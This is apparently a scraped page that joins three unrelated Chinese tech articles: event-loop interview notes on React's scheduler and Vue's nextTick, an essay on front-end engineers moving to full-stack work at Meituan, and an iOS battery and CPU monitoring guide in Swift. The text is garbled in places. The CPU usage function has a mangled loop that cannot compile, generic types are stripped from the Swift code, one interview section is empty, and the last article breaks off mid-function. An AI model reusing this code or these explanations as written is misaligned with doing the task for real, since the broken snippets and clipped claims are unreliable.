React 把巨大的更新任务切分成一个个小的 Fiber 节点(Unit of Work)

  • 旧模式:JS 执行 100ms -> 渲染。 (卡顿)

  • 新模式 (Concurrent)

  1. 执行 5ms 任务。

  2. 问浏览器:“还有时间吗?有高优先级任务(如用户点击)插队吗?”

  3. 有插队 -> 暂停当前 React 更新,把主线程还给浏览器去处理点击/渲染。

  4. 没插队 -> 继续下一个 5ms。

2. 实现手段:如何“暂停”和“恢复”?(MessageChannel 的妙用)

React 必须要找一个宏任务来把控制权交还给浏览器。

  • 为什么不用  setTimeout(fn, 0)  

  • 因为这货有 4ms 的最小延迟(由于 HTML 标准遗留问题,嵌套层级深了会强制 4ms)。对于追求极致的 React 来说,4ms 太浪费了。

  • 为什么不用  Microtask 

  • 死穴:微任务会在页面渲染全部清空。如果你用微任务递归,主线程还是会被锁死,根本不会把控制权交给 UI 渲染。

  • 最终选择:  MessageChannel 

  • React Scheduler 内部创建了一个  MessageChannel 

  • 当需要“让出主线程”时,React 调用  port.postMessage(null) 

  • 这会产生一个宏任务

  • 因为是宏任务,浏览器有机会在两个任务之间插入 UI 渲染响应用户输入

  • 且  MessageChannel  的延迟极低(接近 0ms),优于  setTimeout 

简化的 React Scheduler 伪代码:

let isMessageLoopRunning = false;
const channel = new MessageChannel();
const port = channel.port2;


// 这是一个宏任务回调
channel.port1.onmessage = function() {
    const currentTime = performance.now();
    let hasTimeRemaining = true;


    // 执行任务,直到时间片用完(默认 5ms)
    while (workQueue.length > 0 && hasTimeRemaining) {
        performWork(); 
        // 检查是否超时(比如超过了 5ms)
        if (performance.now() - currentTime > 5) {
            hasTimeRemaining = false;
        }
    }


    if (workQueue.length > 0) {
        // 如果还有活没干完,但时间片到了,
        // 继续发消息,把剩下的活放到下一个宏任务里
        port.postMessage(null);
    } else {
        isMessageLoopRunning = false;
    }
};


function requestHostCallback() {
    if (!isMessageLoopRunning) {
        isMessageLoopRunning = true;
        port.postMessage(null); // 触发宏任务
    }
}

JavaScriptCopy


第八层:Vue 3 的策略对比 —— 为什么 Vue 不需要 Fiber?

这是一个极好的对比视角。

  • React:走的是“全量推导”路线。组件更新时,默认不知道哪里变了,需要遍历树。为了不卡顿,只能用 Event Loop 切片。

  • Vue:走的是“精确依赖”路线。响应式系统(Proxy)精确知道是哪个组件变了。更新粒度很细,通常不需要像 React 那样长时间的计算。

Vue 的 Event Loop 应用:  nextTick Vue 依然大量使用了 Event Loop,主要是为了批量更新(Batching)

count.value = 1;
count.value = 2;
count.value = 3;

JavaScriptCopy

Vue 检测到数据变化,不会渲染 3 次。它会开启一个队列,把 Watcher 推进去。然后通过  Promise.then  (微任务) 或  MutationObserver  在本轮代码执行完后,一次性 flush 队列。

应用场景:当你修改了数据,想立刻获取更新后的 DOM 高度。

msg.value = 'Hello';
console.log(div.offsetHeight); // 还是旧高度!因为 DOM 更新在微任务里
await nextTick(); // 等待微任务执行完
console.log(div.offsetHeight); // 新高度

JavaScriptCopy


第九层:实战中的“精细化调度”

除了框架内部,我们在写复杂业务代码时,如何利用 Event Loop 管线进行优化?

1.  requestAnimationFrame  (rAF) 做动画

  • 错误做法: setTimeout  做动画。

  • 原因: setTimeout  也是宏任务,但它的执行时机和屏幕刷新(VSync)不同步。可能会导致一帧里执行了两次 JS,或者掉帧。

  • 正确做法: rAF 

  • 它保证回调函数严格在下一次 Paint 之前执行。

  • 浏览器会自动优化:如果页面切到后台,rAF 会暂停,省电。

2.  requestIdleCallback  做低优先级分析

  • 场景:发送埋点数据、预加载资源、大数据的后台计算。

  • 原理:告诉浏览器,“等我不忙了(帧末尾有剩余时间)再执行这个”。

  • 注意:React 没直接用这个 API,因为它的兼容性和触发频率不稳定,React 自己实现了一套类似的(也就是上面说的 MessageChannel 机制)。

3. 大数据列表渲染(时间切片实战)

假设后端给你返回了 10 万条数据,你要渲染到页面上。

  • 直接渲染: ul.innerHTML = list  -> 页面卡死 5 秒。

  • 微任务渲染:用 Promise 包裹 -> 依然卡死!因为微任务也会阻塞渲染。

  • 宏任务分批(时间切片)

function renderList(list) {
    if (list.length === 0) return;


    // 每次取 20 条
    const chunk = list.slice(0, 20); 
    const remaining = list.slice(20);


    // 渲染这 20 条
    renderChunk(chunk);


    // 关键:用 setTimeout 把剩下的放到下一帧(或之后的宏任务)去处理
    // 这样浏览器就有机会在中间进行 UI 渲染,用户能看到列表慢慢变长,而不是卡死
    setTimeout(() => {
        renderList(remaining);
    }, 0);
}

JavaScriptCopy

  • 进阶:使用  requestAnimationFrame  替代  setTimeout ,虽然 rAF 主要是为动画服务的,但在处理 DOM 批量插入时,配合  DocumentFragment  往往比 setTimeout 更流畅,因为它紧贴渲染管线。

第十层:未来的标准 ——  scheduler.postTask 

浏览器厂商发现大家都在自己搞调度(React 有 Scheduler,Vue 有 nextTick),于是 Chrome 推出了原生的 Scheduler API

这允许你直接指定任务的优先级,而不需要玩  setTimeout  或  MessageChannel  的黑魔法。

// 只有 Chrome 目前支持较好
scheduler.postTask(doImportantWork, { priority: 'user-blocking' }); // 高优
scheduler.postTask(doAnalytics, { priority: 'background' }); // 低优

JavaScriptCopy

总结:如何回答“实际应用场景”

如果面试官问到这里,你可以这样收网:

  1. 管线视角:先说明 JS 执行、微任务、渲染、宏任务的流水线关系。

  2. React 案例:重点描述 React 18 如何利用 宏任务 (  MessageChannel  ) 实现时间切片,从而打断长任务,让出主线程给 UI 渲染

  3. 对比 Vue:解释 Vue 利用 微任务 (  Promise  ) 实现异步批量更新,避免重复计算。

  4. 业务落地

  • 高性能动画:必用  requestAnimationFrame  保持与帧率同步。

  • 海量数据渲染:手动分片,利用  setTimeout  或  rAF  分批插入 DOM,避免白屏卡顿。

  • 后台计算/埋点:利用  requestIdleCallback  在浏览器空闲时处理。

终极回答策略:从机制到架构的四维阐述

1. 核心定性(不仅是单线程)

“Event Loop 是浏览器用来协调 JS 执行DOM 渲染用户交互 以及 网络请求 的核心调度机制。它解决了 JS 单线程无法处理高并发异步任务的问题,实现了非阻塞 I/O。”

2. 标准流程(精确到微毫秒的执行顺序)

“标准的流程是:执行栈为空 -> 清空微任务队列(Microtasks) -> 尝试进行 UI 渲染 -> 取出一个宏任务(Macrotask)执行。 这里的关键点是:微任务拥有最高优先级插队权,必须全部清空才能进入下一阶段;而UI 渲染穿插在微任务之后、宏任务之前,通常由浏览器的刷新率(60Hz)决定是否执行。”

3. 进阶:与渲染管线的结合(展示物理层面的理解)

“在性能优化中,我们要关注**‘一帧’(16.6ms)**的生命周期。 如果微任务队列太长,或者宏任务执行太久,都会阻塞浏览器的 LayoutPaint,导致掉帧。

4. 降维打击:框架原理与调度实战(这是加分项!)

“深刻理解 Event Loop 是理解现代框架源码的基石:


速记核心关键词

如果面试紧张,脑子里只要记住这 4 个关键词,就能串联起整个知识网:

  1. 单线程 (起点)

  2. 微任务清空 (Promise, Vue 原理)

  3. 渲染管线 (16ms, 动画流畅度)

  4. 宏任务切片 (React Fiber, 大数据分片)

从美团全栈化看 AI 冲击:前端转全栈,是自救还是必然 🤔🤔🤔

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。

如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。

大厂日报 称,美团履约团队近期正在推行"全栈化"转型。据悉,终端组的部分前端同学在 11 月末左右转到了后端组做全栈(前后端代码一起写),主要是 agent 相关项目。内部打听了一下,团子目前全栈开发还相对靠谱,上线把控比较严格。

这一消息在技术圈引起了广泛关注,也反映了 AI 时代下前端工程师向全栈转型的必然趋势。但更重要的是,我们需要深入思考:AI 到底给前端带来了什么冲击?为什么前端转全栈成为了必然选择?

最近,前端圈里不断有"前端已死"的话语流出。有人说 AI 工具会替代前端开发,有人说低代码平台会让前端失业,还有人说前端工程师的价值正在快速下降。这些声音虽然有些极端,但确实反映了 AI 时代前端面临的真实挑战。

一、AI 对前端的冲击:挑战与机遇并存

1. 代码生成能力的冲击

冲击点:

  • 低复杂度页面生成:AI 工具(如 Claude Code、Cursor)已经能够快速生成常见的 UI 组件、页面布局
  • 重复性工作被替代:表单、列表、详情页等标准化页面,AI 生成效率远超人工
  • 学习门槛降低:新手借助 AI 也能快速产出基础代码,前端"入门红利"消失

影响: 传统前端开发中,大量时间花在"写页面"上。AI 的出现,让这部分工作变得极其高效,甚至可以说,只会写页面的前端工程师,价值正在快速下降。这也正是"前端已死"论调的主要依据之一。

2. 业务逻辑前移的冲击

冲击点:

  • AI Agent 项目激增:如美团案例中的 agent 相关项目,需要前后端一体化开发
  • 实时交互需求:AI 应用的流式响应、实时对话,要求前后端紧密配合
  • 数据流转复杂化:AI 模型调用、数据处理、状态管理,都需要全栈视角

影响: 纯前端工程师在 AI 项目中往往只能负责 UI 层,无法深入业务逻辑。而 AI 项目的核心价值在于业务逻辑和数据处理,这恰恰是后端能力。

3. 技术栈边界的模糊

冲击点:

  • 前后端一体化趋势:Next.js、Remix 等全栈框架兴起,前后端代码同仓库
  • Serverless 架构:边缘函数、API 路由,前端开发者需要理解后端逻辑
  • AI 服务集成:调用 AI API、处理流式数据、管理状态,都需要后端知识

影响: 前端和后端的边界正在消失。只会前端的前端工程师,在 AI 时代会发现自己"够不着"核心业务。

4. 职业发展的天花板

冲击点:

  • 技术深度要求:AI 项目需要理解数据流、算法逻辑、系统架构
  • 业务理解能力:全栈开发者能更好地理解业务全貌,做出技术决策
  • 团队协作效率:全栈开发者减少前后端沟通成本,提升交付效率

影响: 在 AI 时代,只会前端的前端工程师,职业天花板明显。而全栈开发者能够:

  • 独立负责完整功能模块
  • 深入理解业务逻辑
  • 在技术决策中发挥更大作用

二、为什么前端转全栈是必然选择?

1. AI 项目的本质需求

正如美团案例所示,AI 项目(特别是 Agent 项目)的特点:

  • 前后端代码一起写:业务逻辑复杂,需要前后端协同
  • 数据流处理:AI 模型的输入输出、流式响应处理
  • 状态管理复杂:对话状态、上下文管理、错误处理

这些需求,纯前端工程师无法独立完成,必须掌握后端能力。

2. 技术发展的趋势

  • 全栈框架普及:Next.js、Remix、SvelteKit 等,都在推动全栈开发
  • 边缘计算兴起:Cloudflare Workers、Vercel Edge Functions,前端需要写后端逻辑
  • 微前端 + 微服务:前后端一体化部署,降低系统复杂度

3. 市场需求的转变

  • 招聘要求变化:越来越多的岗位要求"全栈能力"
  • 项目交付效率:全栈开发者能独立交付功能,减少沟通成本
  • 技术决策能力:全栈开发者能更好地评估技术方案

三、后端技术栈的选择:Node.js、Python、Go

对于前端转全栈,后端技术栈的选择至关重要。不同技术栈有不同优势,需要根据项目需求选择。

1. Node.js + Nest.js:前端转全栈的最佳起点

优势:

  • 零语言切换:JavaScript/TypeScript 前后端通用
  • 生态统一:npm 包前后端共享,工具链一致
  • 学习成本低:利用现有技能,快速上手
  • AI 集成友好:LangChain.js、OpenAI SDK 等完善支持

适用场景:

  • Web 应用后端
  • 实时应用(WebSocket、SSE)
  • 微服务架构
  • AI Agent 项目(如美团案例)

学习路径:

  1. Node.js 基础(事件循环、模块系统)
  2. Nest.js 框架(模块化、依赖注入)
  3. 数据库集成(TypeORM、Prisma)
  4. AI 服务集成(OpenAI、流式处理)

2. Python + FastAPI:AI 项目的首选

优势:

  • AI 生态最完善:OpenAI、LangChain、LlamaIndex 等原生支持
  • 数据科学能力:NumPy、Pandas 等数据处理库
  • 快速开发:语法简洁,开发效率高
  • 模型部署:TensorFlow、PyTorch 等模型框架

适用场景:

  • AI/ML 项目
  • 数据分析后端
  • 科学计算服务
  • Agent 项目(需要复杂 AI 逻辑)

学习路径:

  1. Python 基础(语法、数据结构)
  2. FastAPI 框架(异步、类型提示)
  3. AI 库集成(OpenAI、LangChain)
  4. 数据处理(Pandas、NumPy)

3. Go:高性能场景的选择

优势:

  • 性能优秀:编译型语言,执行效率高
  • 并发能力强:Goroutine 并发模型
  • 部署简单:单文件部署,资源占用少
  • 云原生友好:Docker、Kubernetes 生态完善

适用场景:

  • 高并发服务
  • 微服务架构
  • 云原生应用
  • 性能敏感场景

学习路径:

  1. Go 基础(语法、并发模型)
  2. Web 框架(Gin、Echo)
  3. 数据库操作(GORM)
  4. 微服务开发

4. 技术栈选择建议

对于前端转全栈的开发者:

  1. 首选 Node.js:如果目标是快速转全栈,Node.js 是最佳选择

    • 学习成本最低
    • 前后端代码复用
    • 适合大多数 Web 应用
  2. 考虑 Python:如果专注 AI 项目

    • AI 生态最完善
    • 适合复杂 AI 逻辑
    • 数据科学能力
  3. 学习 Go:如果追求性能

    • 高并发场景
    • 微服务架构
    • 云原生应用

建议:

  • 第一阶段:选择 Node.js,快速转全栈
  • 第二阶段:根据项目需求,学习 Python 或 Go
  • 长期目标:掌握多种技术栈,根据场景选择

四、总结

AI 时代的到来,给前端带来了深刻冲击:

  1. 代码生成能力:低复杂度页面生成被 AI 替代
  2. 业务逻辑前移:AI 项目需要前后端一体化
  3. 技术边界模糊:前后端边界正在消失
  4. 职业天花板:只会前端的前端工程师,发展受限

前端转全栈,是 AI 时代的必然选择。

对于技术栈选择:

  • Node.js:前端转全栈的最佳起点,学习成本低
  • Python:AI 项目的首选,生态完善
  • Go:高性能场景的选择,云原生友好

正如美团的全栈化实践所示,全栈开发还相对靠谱,关键在于:

  • 选择合适的技术栈
  • 建立严格的开发流程
  • 持续学习和实践

对于前端开发者来说,AI 时代既是挑战,也是机遇。转全栈,不仅能应对 AI 冲击,更能打开职业发展的新空间。那些"前端已死"的声音,其实是在提醒我们:只有不断进化,才能在这个时代立足。

iOS 电量监控与优化完整方案

目录


电量消耗概述

电量消耗来源

graph TB
    A[电量消耗] --> B[CPU]
    A --> C[网络]
    A --> D[定位]
    A --> E[屏幕]
    A --> F[后台任务]
    A --> G[传感器]
    
    B --> B1[主线程占用]
    B --> B2[后台计算]
    B --> B3[频繁唤醒]
    
    C --> C1[频繁请求]
    C --> C2[大数据传输]
    C --> C3[长连接]
    
    D --> D1[GPS 定位]
    D --> D2[持续定位]
    D --> D3[高精度定位]
    
    E --> E1[高亮度]
    E --> E2[高刷新率]
    E --> E3[复杂动画]
    
    F --> F1[后台刷新]
    F --> F2[推送唤醒]
    F --> F3[音频播放]
    
    G --> G1[加速度计]
    G --> G2[陀螺仪]
    G --> G3[磁力计]
    
    style A fill:#FF6B6B
    style B fill:#FFA07A
    style C fill:#FFD93D
    style D fill:#6BCF7F
    style E fill:#4D96FF
    style F fill:#9D84B7
    style G fill:#F38181

电量消耗占比

pie title iOS 应用电量消耗分布
    &#34;CPU&#34; : 30
    &#34;网络&#34; : 25
    &#34;定位&#34; : 20
    &#34;屏幕&#34; : 15
    &#34;后台任务&#34; : 5
    &#34;传感器&#34; : 5

电量等级划分

等级 电量消耗 用户感知 优化优先级
优秀 < 5% / 小时 无感知 P3
良好 5-10% / 小时 轻微感知 P2
一般 10-15% / 小时 明显感知 P1
较差 15-20% / 小时 强烈感知 P0
很差 > 20% / 小时 严重发热 P0

电量监控方案

监控架构

graph TB
    A[电量监控系统] --> B[实时监控]
    A --> C[数据采集]
    A --> D[数据分析]
    A --> E[告警系统]
    
    B --> B1[电量变化]
    B --> B2[充电状态]
    B --> B3[电池健康]
    
    C --> C1[CPU 使用率]
    C --> C2[网络流量]
    C --> C3[定位使用]
    C --> C4[后台活动]
    
    D --> D1[耗电排行]
    D --> D2[异常检测]
    D --> D3[趋势分析]
    
    E --> E1[实时告警]
    E --> E2[日报周报]
    E --> E3[优化建议]
    
    style A fill:#4ECDC4
    style B fill:#FF6B6B
    style C fill:#FFA07A
    style D fill:#95E1D3
    style E fill:#F38181

1. 电量监控管理器

import UIKit
import Foundation

class BatteryMonitor {
    
    static let shared = BatteryMonitor()
    
    // 监控数据
    private var batteryLevel: Float = 1.0
    private var batteryState: UIDevice.BatteryState = .unknown
    private var isMonitoring = false
    
    // 历史记录
    private var batteryHistory: [BatteryRecord] = []
    private let maxHistoryCount = 1000
    
    // 监控间隔
    private var monitoringTimer: Timer?
    private let monitoringInterval: TimeInterval = 60 // 60秒
    
    struct BatteryRecord: Codable {
        let timestamp: Date
        let level: Float
        let state: String
        let temperature: Float?
        let voltage: Float?
        let current: Float?
    }
    
    private init() {
        setupBatteryMonitoring()
    }
    
    // MARK: - Setup
    
    private func setupBatteryMonitoring() {
        // 启用电池监控
        UIDevice.current.isBatteryMonitoringEnabled = true
        
        // 监听电量变化
        NotificationCenter.default.addObserver(
            self,
            selector: #selector(batteryLevelDidChange),
            name: UIDevice.batteryLevelDidChangeNotification,
            object: nil
        )
        
        // 监听充电状态变化
        NotificationCenter.default.addObserver(
            self,
            selector: #selector(batteryStateDidChange),
            name: UIDevice.batteryStateDidChangeNotification,
            object: nil
        )
    }
    
    // MARK: - Monitoring Control
    
    func startMonitoring() {
        guard !isMonitoring else { return }
        
        isMonitoring = true
        
        // 立即记录一次
        recordBatteryStatus()
        
        // 定时记录
        monitoringTimer = Timer.scheduledTimer(
            withTimeInterval: monitoringInterval,
            repeats: true
        ) { [weak self] _ in
            self?.recordBatteryStatus()
        }
        
        print(&#34;🔋 电量监控已启动&#34;)
    }
    
    func stopMonitoring() {
        isMonitoring = false
        monitoringTimer?.invalidate()
        monitoringTimer = nil
        
        print(&#34;🔋 电量监控已停止&#34;)
    }
    
    // MARK: - Battery Status
    
    @objc private func batteryLevelDidChange() {
        batteryLevel = UIDevice.current.batteryLevel
        print(&#34;🔋 电量变化: \(Int(batteryLevel * 100))%&#34;)
        
        // 检查低电量
        if batteryLevel < 0.2 && batteryLevel > 0 {
            notifyLowBattery()
        }
        
        recordBatteryStatus()
    }
    
    @objc private func batteryStateDidChange() {
        batteryState = UIDevice.current.batteryState
        
        let stateString = batteryStateString(batteryState)
        print(&#34;🔋 充电状态变化: \(stateString)&#34;)
        
        recordBatteryStatus()
    }
    
    private func recordBatteryStatus() {
        let record = BatteryRecord(
            timestamp: Date(),
            level: UIDevice.current.batteryLevel,
            state: batteryStateString(UIDevice.current.batteryState),
            temperature: getBatteryTemperature(),
            voltage: getBatteryVoltage(),
            current: getBatteryCurrent()
        )
        
        batteryHistory.append(record)
        
        // 限制历史记录数量
        if batteryHistory.count > maxHistoryCount {
            batteryHistory.removeFirst()
        }
        
        // 保存到本地
        saveBatteryHistory()
    }
    
    // MARK: - Battery Info
    
    func getCurrentBatteryLevel() -> Float {
        return UIDevice.current.batteryLevel
    }
    
    func getCurrentBatteryState() -> UIDevice.BatteryState {
        return UIDevice.current.batteryState
    }
    
    func isCharging() -> Bool {
        let state = UIDevice.current.batteryState
        return state == .charging || state == .full
    }
    
    private func batteryStateString(_ state: UIDevice.BatteryState) -> String {
        switch state {
        case .unknown:
            return &#34;未知&#34;
        case .unplugged:
            return &#34;未充电&#34;
        case .charging:
            return &#34;充电中&#34;
        case .full:
            return &#34;已充满&#34;
        @unknown default:
            return &#34;未知&#34;
        }
    }
    
    // MARK: - Battery Metrics (需要私有 API 或估算)
    
    private func getBatteryTemperature() -> Float? {
        // iOS 不提供公开 API 获取电池温度
        // 可以通过 IOKit 私有 API 获取(不推荐上架 App Store)
        return nil
    }
    
    private func getBatteryVoltage() -> Float? {
        // iOS 不提供公开 API 获取电池电压
        return nil
    }
    
    private func getBatteryCurrent() -> Float? {
        // iOS 不提供公开 API 获取电池电流
        return nil
    }
    
    // MARK: - Battery Analysis
    
    // 计算电量消耗速率(%/小时)
    func calculateBatteryDrainRate() -> Float? {
        guard batteryHistory.count >= 2 else { return nil }
        
        let recentRecords = batteryHistory.suffix(10)
        guard let firstRecord = recentRecords.first,
              let lastRecord = recentRecords.last else {
            return nil
        }
        
        let timeDiff = lastRecord.timestamp.timeIntervalSince(firstRecord.timestamp)
        guard timeDiff > 0 else { return nil }
        
        let levelDiff = firstRecord.level - lastRecord.level
        let hoursDiff = Float(timeDiff / 3600)
        
        let drainRate = (levelDiff / hoursDiff) * 100
        
        return drainRate
    }
    
    // 预估剩余使用时间(小时)
    func estimateRemainingTime() -> Float? {
        guard let drainRate = calculateBatteryDrainRate(),
              drainRate > 0 else {
            return nil
        }
        
        let currentLevel = UIDevice.current.batteryLevel * 100
        let remainingTime = currentLevel / drainRate
        
        return remainingTime
    }
    
    // 获取电量消耗报告
    func getBatteryReport() -> BatteryReport {
        let currentLevel = UIDevice.current.batteryLevel
        let drainRate = calculateBatteryDrainRate()
        let remainingTime = estimateRemainingTime()
        
        return BatteryReport(
            currentLevel: currentLevel,
            drainRate: drainRate,
            remainingTime: remainingTime,
            isCharging: isCharging(),
            recordCount: batteryHistory.count
        )
    }
    
    struct BatteryReport {
        let currentLevel: Float
        let drainRate: Float?
        let remainingTime: Float?
        let isCharging: Bool
        let recordCount: Int
        
        func description() -> String {
            var desc = &#34;&#34;&#34;
            
            ========== 电量报告 ==========
            当前电量: \(Int(currentLevel * 100))%
            充电状态: \(isCharging ? &#34;充电中&#34; : &#34;未充电&#34;)
            &#34;&#34;&#34;
            
            if let drainRate = drainRate {
                desc += &#34;\n消耗速率: \(String(format: &#34;%.2f&#34;, drainRate))%/小时&#34;
            }
            
            if let remainingTime = remainingTime {
                desc += &#34;\n预计剩余: \(String(format: &#34;%.1f&#34;, remainingTime)) 小时&#34;
            }
            
            desc += &#34;\n记录数量: \(recordCount)&#34;
            desc += &#34;\n===========================\n&#34;
            
            return desc
        }
    }
    
    // MARK: - Notifications
    
    private func notifyLowBattery() {
        print(&#34;⚠️ 低电量警告&#34;)
        
        // 发送通知
        NotificationCenter.default.post(
            name: NSNotification.Name(&#34;LowBatteryWarning&#34;),
            object: nil
        )
    }
    
    // MARK: - Persistence
    
    private func saveBatteryHistory() {
        let encoder = JSONEncoder()
        encoder.dateEncodingStrategy = .iso8601
        
        if let data = try? encoder.encode(batteryHistory) {
            UserDefaults.standard.set(data, forKey: &#34;BatteryHistory&#34;)
        }
    }
    
    private func loadBatteryHistory() {
        guard let data = UserDefaults.standard.data(forKey: &#34;BatteryHistory&#34;) else {
            return
        }
        
        let decoder = JSONDecoder()
        decoder.dateDecodingStrategy = .iso8601
        
        if let history = try? decoder.decode([BatteryRecord].self, from: data) {
            batteryHistory = history
        }
    }
    
    // MARK: - Export
    
    func exportBatteryHistory() -> String {
        var csv = &#34;时间,电量(%),状态\n&#34;
        
        for record in batteryHistory {
            let dateFormatter = DateFormatter()
            dateFormatter.dateFormat = &#34;yyyy-MM-dd HH:mm:ss&#34;
            let timeString = dateFormatter.string(from: record.timestamp)
            
            csv += &#34;\(timeString),\(Int(record.level * 100)),\(record.state)\n&#34;
        }
        
        return csv
    }
}

2. CPU 监控

import Foundation

class CPUMonitor {
    
    static let shared = CPUMonitor()
    
    private var monitoringTimer: Timer?
    private var cpuHistory: [CPURecord] = []
    
    struct CPURecord {
        let timestamp: Date
        let usage: Double
        let threads: Int
    }
    
    private init() {}
    
    // 开始监控
    func startMonitoring(interval: TimeInterval = 1.0) {
        monitoringTimer = Timer.scheduledTimer(
            withTimeInterval: interval,
            repeats: true
        ) { [weak self] _ in
            self?.recordCPUUsage()
        }
    }
    
    // 停止监控
    func stopMonitoring() {
        monitoringTimer?.invalidate()
        monitoringTimer = nil
    }
    
    // 获取当前 CPU 使用率
    func getCurrentCPUUsage() -> Double {
        var totalUsage: Double = 0
        var threadsList: thread_act_array_t?
        var threadsCount = mach_msg_type_number_t(0)
        
        let threadsResult = task_threads(mach_task_self_, &threadsList, &threadsCount)
        
        guard threadsResult == KERN_SUCCESS,
              let threads = threadsList else {
            return 0
        }
        
        for index in 0...stride)
        )
        
        return totalUsage
    }
    
    // 记录 CPU 使用情况
    private func recordCPUUsage() {
        let usage = getCurrentCPUUsage()
        let threads = getThreadCount()
        
        let record = CPURecord(
            timestamp: Date(),
            usage: usage,
            threads: threads
        )
        
        cpuHistory.append(record)
        
        // 限制历史记录
        if cpuHistory.count > 1000 {
            cpuHistory.removeFirst()
        }
        
        // 检查异常
        if usage > 80 {
            print(&#34;⚠️ CPU 使用率过高: \(String(format: &#34;%.1f&#34;, usage))%&#34;)
        }
    }
    
    // 获取线程数量
    private func getThreadCount() -> Int {
        var threadsList: thread_act_array_t?
        var threadsCount = mach_msg_type_number_t(0)
        
        let result = task_threads(mach_task_self_, &threadsList, &threadsCount)
        
        if result == KERN_SUCCESS {
            vm_deallocate(
                mach_task_self_,
                vm_address_t(UInt(bitPattern: threadsList)),
                vm_size_t(Int(threadsCount) * MemoryLayout.stride)
            )
            return Int(threadsCount)
        }
        
        return 0
    }
    
    // 获取平均 CPU 使用率
    func getAverageCPUUsage(duration: TimeInterval = 60) -> Double {
        let cutoffTime = Date().addingTimeInterval(-duration)
        let recentRecords = cpuHistory.filter { $0.timestamp > cutoffTime }
        
        guard !recentRecords.isEmpty else { return 0 }
        
        let totalUsage = recentRecords.reduce(0) { $0 + $1.usage }
        return totalUsage / Double(recentRecords.count)
    }
}

3. 网络监控

import Foundation

class NetworkMonitor {
    
    static let shared = NetworkMonitor()
    
    private var totalBytesSent: Int64 = 0
    private var totalBytesReceived: Int64 = 0
    private var lastCheckTime: Date = Date()
    
    private var monitoringTimer: Timer?
    
    struct NetworkStats {
        let bytesSent: Int64
        let bytesReceived: Int64
        let uploadSpeed: Double  // KB/s
        let downloadSpeed: Double  // KB/s
    }
    
    private init() {}
    
    // 开始监控
    func startMonitoring(interval: TimeInterval = 1.0) {
        // 初始化基准值
        updateNetworkStats()
        
        monitoringTimer = Timer.scheduledTimer(
            withTimeInterval: interval,
            repeats: true
        ) { [weak self] _ in
            self?.updateNetworkStats()
        }
    }
    
    // 停止监控
    func stopMonitoring() {
        monitoringTimer?.invalidate()
        monitoringTimer = nil
    }
    
    // 获取网络统计信息
    func getNetworkStats() -> NetworkStats? {
        var ifaddr: UnsafeMutablePointer?
        
        guard getifaddrs(&ifaddr) == 0 else {
            return nil
        }
        
        defer { freeifaddrs(ifaddr) }
        
        var bytesSent: Int64 = 0
        var bytesReceived: Int64 = 0
        
        var ptr = ifaddr
        while ptr != nil {
            defer { ptr = ptr?.pointee.ifa_next }
            
            guard let interface = ptr?.pointee else { continue }
            
            let name = String(cString: interface.ifa_name)
            
            // 只统计 WiFi 和蜂窝网络
            if name.hasPrefix(&#34;en&#34;) || name.hasPrefix(&#34;pdp_ip&#34;) {
                if let data = interface.ifa_data?.assumingMemoryBound(to: if_data.self).pointee {
                    bytesSent += Int64(data.ifi_obytes)
                    bytesReceived += Int64(data.ifi_ibytes)
                }
            }
        }
        
        // 计算速度
        let now = Date()
        let timeDiff = now.timeIntervalSince(lastCheckTime)
        
        let uploadSpeed = Double(bytesSent - totalBytesSent) / timeDiff / 1024
        let downloadSpeed = Double(bytesReceived - totalBytesReceived) / timeDiff / 1024
        
        totalBytesSent = bytesSent
        totalBytesReceived = bytesReceived
        lastCheckTime = now
        
        return NetworkStats(
            bytesSent: bytesSent,
            bytesReceived: bytesReceived,
            uploadSpeed: uploadSpeed,
            downloadSpeed: downloadSpeed
        )
    }
    
    private func updateNetworkStats() {
        guard let stats = getNetworkStats() else { return }
        
        // 检查异常流量
        if stats.uploadSpeed > 100 || stats.downloadSpeed > 100 {
            print(&#34;⚠️ 网络流量异常 - 上传: \(String(format: &#34;%.1f&#34;, stats.uploadSpeed)) KB/s, 下载: \(String(format: &#34;%.1f&#34;, stats.downloadSpeed)) KB/s&#34;)
        }
    }
}

CPU 优化

CPU 优化策略

graph TB
    A[CPU 优化] --> B[减少计算]
    A --> C[异步处理]
    A --> D[缓存结果]
    A --> E[降低频率]
    
    B --> B1[算法优化]
    B --> B2[减少循环]
    B --> B3[避免重复计算]
    
    C --> C1[后台线程]
    C --> C2[GCD 优化]
    C --> C3[Operation Queue]
    
    D --> D1[内存缓存]
    D --> D2[磁盘缓存]
    D --> D3[计算结果缓存]
    
    E --> E1[降低刷新率]
    E --> E2[延迟执行]
    E --> E3[批量处理]
    
    style A fill:#4ECDC4
    style B fill:#FF6B6B
    style C fill:#FFA07A
    style D fill:#95E1D3
    style E fill:#F38181

1. 定时器优化

class OptimizedTimer {
    
    private var timer: DispatchSourceTimer?
    private let queue: DispatchQueue
    
    init(queue: DispatchQueue = .global(qos: .utility)) {
        self.queue = queue
    }
    
    // 使用 DispatchSourceTimer 替代 Timer
    func startTimer(interval: TimeInterval, 
                   leeway: DispatchTimeInterval = .milliseconds(100),
                   handler: @escaping () -> Void) {
        
        let timer = DispatchSource.makeTimerSource(queue: queue)
        timer.schedule(
            deadline: .now() + interval,
            repeating: interval,
            leeway: leeway  // 允许系统延迟,节省电量
        )
        
        timer.setEventHandler(handler: handler)
        timer.resume()
        
        self.timer = timer
    }
    
    func stop() {
        timer?.cancel()
        timer = nil
    }
    
    deinit {
        stop()
    }
}

// 使用示例
class SomeViewController: UIViewController {
    
    private let optimizedTimer = OptimizedTimer()
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // 使用优化的定时器
        optimizedTimer.startTimer(interval: 1.0) {
            // 定时任务
            print(&#34;Timer fired&#34;)
        }
    }
    
    deinit {
        optimizedTimer.stop()
    }
}

2. 图片处理优化

class ImageProcessor {
    
    static let shared = ImageProcessor()
    
    private let processingQueue = DispatchQueue(
        label: &#34;com.app.imageProcessing&#34;,
        qos: .utility
    )
    
    private let cache = NSCache()
    
    private init() {
        cache.countLimit = 100
        cache.totalCostLimit = 50 * 1024 * 1024 // 50MB
    }
    
    // 异步处理图片
    func processImage(_ image: UIImage,
                     size: CGSize,
                     completion: @escaping (UIImage?) -> Void) {
        
        let cacheKey = &#34;\(size.width)x\(size.height)&#34; as NSString
        
